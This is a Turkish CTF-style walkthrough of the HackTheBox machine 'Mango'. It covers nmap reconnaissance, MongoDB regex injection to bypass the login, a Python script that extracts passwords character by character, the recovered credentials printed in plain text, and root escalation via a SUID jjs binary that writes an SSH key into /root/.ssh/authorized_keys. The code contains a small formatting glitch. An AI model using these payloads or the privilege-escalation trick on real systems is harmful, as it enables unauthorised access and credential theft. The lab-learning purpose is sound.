Mango HackTheBoxta 30 puanlık “Orta” kategorisinde bir makine. Makine üzerinde mongodb injection atağına karşı zafiyetli bir uygulama çalışıyor. Bir saldırgan login sayfasını atlatmak yerine veritabanından veri sızdırması gerekiyor. Veritabanından şifreler sızdırıldıktan sonra, saldırgan makine üzerinde ilk erişimi sağlayabiliyor. Makinede jjs adında bir program yüklü. Bu programın suid biti etkin ve yetkilerin yükseltilmesine sebep oluyor.
İlk inceleme
Her zamanki gibi nmap ile başlıyoruz
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
λ ~/Desktop/htb/machines/mango nmap -sVSC -vv 10.10.10.162 -oA nmap/initial
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-10 02:42 EDT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 02:42
Completed NSE at 02:42, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 02:42
Completed NSE at 02:42, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 02:42
Completed NSE at 02:42, 0.00s elapsed
Initiating Ping Scan at 02:42
Scanning 10.10.10.162 [4 ports]
Completed Ping Scan at 02:42, 0.14s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 02:42
Scanning mango.htb (10.10.10.162) [1000 ports]
Discovered open port 443/tcp on 10.10.10.162
Discovered open port 80/tcp on 10.10.10.162
Discovered open port 22/tcp on 10.10.10.162
Completed SYN Stealth Scan at 02:42, 1.50s elapsed (1000 total ports)
Initiating Service scan at 02:42
Scanning 3 services on mango.htb (10.10.10.162)
Completed Service scan at 02:42, 12.59s elapsed (3 services on 1 host)
Nmap bize web portlarından ve sshtan başka dişe dokunur bir şey vermedi
Port 80
Port 443
Biraz daha inceledikten sonra bu portlar üzerinde her hangi dişe dokunur bir şey bulamadım ve başka şeylere bakmaya başladım
Ssl sertifikasına bir göz attım ve o da bana başka bir subdomain verdi
Bu subdomaini /etc/hosts
dosyama ekledim
10.10.10.162 mango.htb staging-order.mango.htb
İçerik keşfi
Bu subdomain üzerinde de giriş sayfasından da başka pek bir şey bulamadım
Zafiyetin tespiti
Mango ismi mongodbye bir ipucuydu. Bir kaç basit analizden sonra bu uygulamanın mongodb injectiona karşı zafiyetli olduğunu gördüm
Aşağıdaki link mongodb injectionı çok güzel bir şekilde anlatıyor inceleyebilirsiniz.
https://nullsweep.com/a-nosql-injection-primer-with-mongo/
Basit bir bypass methodu çalıştı
Ama ne yazıki bypass ettiğimiz panel henüz yapım aşamasındaydı
![](/images/mango_writeup/bypass2.png
Bu aşamada mongodb injectionu kullanarak veritabanın veri çıkarmam gerektiğini anlamıştım
Zafiyetin sömürülmesi
Basit olarak 2 aşamamız olacak. 1. aşamada şifrenin uzunluğunu tespit etmemiz gerekiyorki yanlış verileri eleyebilelim veya herhangi bir veri kaçırmayalım. 2. aşamada ise veriyi çıkaracağız.
- Tabiki ilk aşamada kullanıcıları da sızdırmamız gerekiyor fakat her şey bayağı bir ortada ve tahmin edilebilir olduğundan dolayı bunu yapmayacağım. Kullanıcılar
mango ve admin
Şifre uzunluğunun bulunması
Eğer sunucu bize 200 döndürmeye başlarsa şifre uzunluğunu aştığımızı anlamalıyız. Şifre uzunluğunu aşmadığımız her anda sunucu bize 302 döndürecektir.
Aşağıdaki gibi bir model izleyebilirsiniz
1
2
3
4
username=admin&password[$regex]=.{1}&login=login
username=admin&password[$regex]=.{2}&login=login
username=admin&password[$regex]=.{3}&login=login
...
Gördüğünüz gibi şifre uzunluğu < 13 olan desenler için hep 302 aldık ve bu deseni aştığımızda 200 almaya başladık. Bu aşamada şifrenin 12 karakter uzunluğunda olduğunu söyleyebiliriz.
Veriyi sızdırmak
Şifreyi çok basit bir şekilde aşağıdaki desen ile fuzz edebiliriz (Türkçesini bulamadım bilen varsa söylesin :D)
Aşağıda gördüğünüz gibi t ile başlayan bir desen denediğimizde bize 302 verdi(bypass etti) diğer desenlerde ise 200 verdi(bypass etmedi). Bu yüzden şifrenin t ile başladığını söyleyip başına t koyarak diğer harfleri denemeye geçebiliriz
Örnek desen:
1
2
3
4
username=admin&password[$regex]=^FUZZ.*&login=login
username=admin&password[$regex]=^tFUZZ.*&login=login
username=admin&password[$regex]=^t9FUZZ.*&login=login
...
Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests
import string
import sys
username='admin'
password=''
url ='http://staging-order.mango.htb/index.php'
headers = {"Content-Type": "application/x-www-form-urlencoded"}
s = requests.Session()
length = 0
sys.stdout.write("Fuzzing started for username : {}\n".format(username))
# getting password length
for i in range(20,1,-1):
payload='username={}&password[$regex]=.}&login=login'.format(username,str(i))
response = s.post(
url,allow_redirects=False,
data=payload,
headers=headers
)
if response.status_code == 302:
length = i
sys.stdout.write("Password is {} char long \r".format(str(i)))
sys.stdout.flush()
break
sys.stdout.write("\n")
# extracting data
i = 0
while True:
for c in string.printable:
if c not in ['*','+','.','?','|','\\','&', '$']: # whitelist
payload='username={}&password[$regex]=^{}.*&login=login'.format(username,password + c)
response = s.post(
url,allow_redirects=False,
data=payload,
headers=headers
)
if response.status_code == 302:
password += c
i += 1
sys.stdout.write("Fuzzing password : {} \r".format(password))
sys.stdout.flush()
if i == length :
sys.stdout.write("username : {} // password : {} \n".format(username,password))
sys.exit(1)
break
admin
: t9KcS3>!0B#2
mango
: h3mXK8RhU~f{]f5H
İlk erişim
Yukardaki şifreleri kullandım
ssh mango@mango.htb su admin
Ve user.txtyi alabildik
Zafiyetli kod
Erişimi sağladıktan sonra sömürdüğümüz zafiyetli kodu bir incelemek istedim
Gördüğünüz gibi hiç bir girdi sanitizasyonu yok ve istediğimiz deseni array içine enjekte edip kontrol ettirebiliyorduk
Roota yükseliş
uid=4000000000(admin) gid=1001(admin) groups=1001(admin)
CVE-2018–19788 bizim durumumuza gerçekten çok güzel bir şekilde uyuyordu ve bayağı bir süre roota giden yolun bu olduğunu düşündüm (çünkü makine yayınlandığında bu açığın türevleri ortalıkta çok fazla dolaşıyordu) ama malesef ucu olmayan bir yoldu :(
Ama neyseki, linpeas scripti bayağı basit bir şekilde roota giden yolu gösterdi
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
programı üzerinde suid biti etkinleştirilmişti
Program üzerinde yapılan küçük bir araştırma bu programı sömürerek yetkilerimizi yükseltebileceğimizi gösteriyordu.
https://gtfobins.github.io/gtfobins/jjs/
## Jjs
Gtfobins sitesindeki suid bit bölümündeki payload ile interaktif bir kabuk almak çok düzgün çalışmıyordu, bir komut sonrasında hemen ölüyordu. Bu yüzden başka yöntemler aramaya devam ettim
Bu programı yetkili dosya yazmak için de kullanabiliyorduk ve root kullanıcısının altındaki authorized_keys dosyasına kendi ssh public anahtarımı yazmaya bir şans vermek istedim, ve çalıştı
1
2
3
4
echo 'var FileWriter = Java.type("java.io.FileWriter");
var fw=new FileWriter("/root/.ssh/authorized_keys");
fw.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpW2BM5EIYmzXrboJFsS012pkt27gLc3vxf/l5cm+xW34kjgUDimL7DHPuPHbROjdWJsk5R7QXrDeElkomPAewEcEZxWWsEE5SAw5wo7cTgK9+dlretvlsyREJYaGHFLdPZkHDUiLtp/xbe9EIJVdZXqVi45nHXsGWr7rNF8xUkTWgEb9/H5tHCO2MRPcgc8oSK7mlU6z2bvEDYeWdvwnsSkWIexuxtqkn0pUgsZ3++oiubXSS8HTyGNXF9b1yH4+AgH+exen7oSysYhi1CmrLfXpw2QSIYfmKu5TAIeEkkWPuK4GJkYECWt3TNlO6wsfpxOwXdfYfeOztKj1z8ncRBH0FtvA1I5vam3aKwTd+LRJf0kGCVH2yP/wc4gdvV3T66JBC2iEepA+lv49bpsxZS2K7GvYm8Xe6tXF4/9ijvEH8iKwFT3dbI5tljoAcbUfMFtw28PM8w37l0z8aqqUV8K+msg5wO1wAx9BUp3WBSoyGSbCxF/z09MgCV31Gx8c= root@kali");
fw.close();' | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
Ve, root olduk !
mr3boot‘a bu güzel makine için teşekkürler !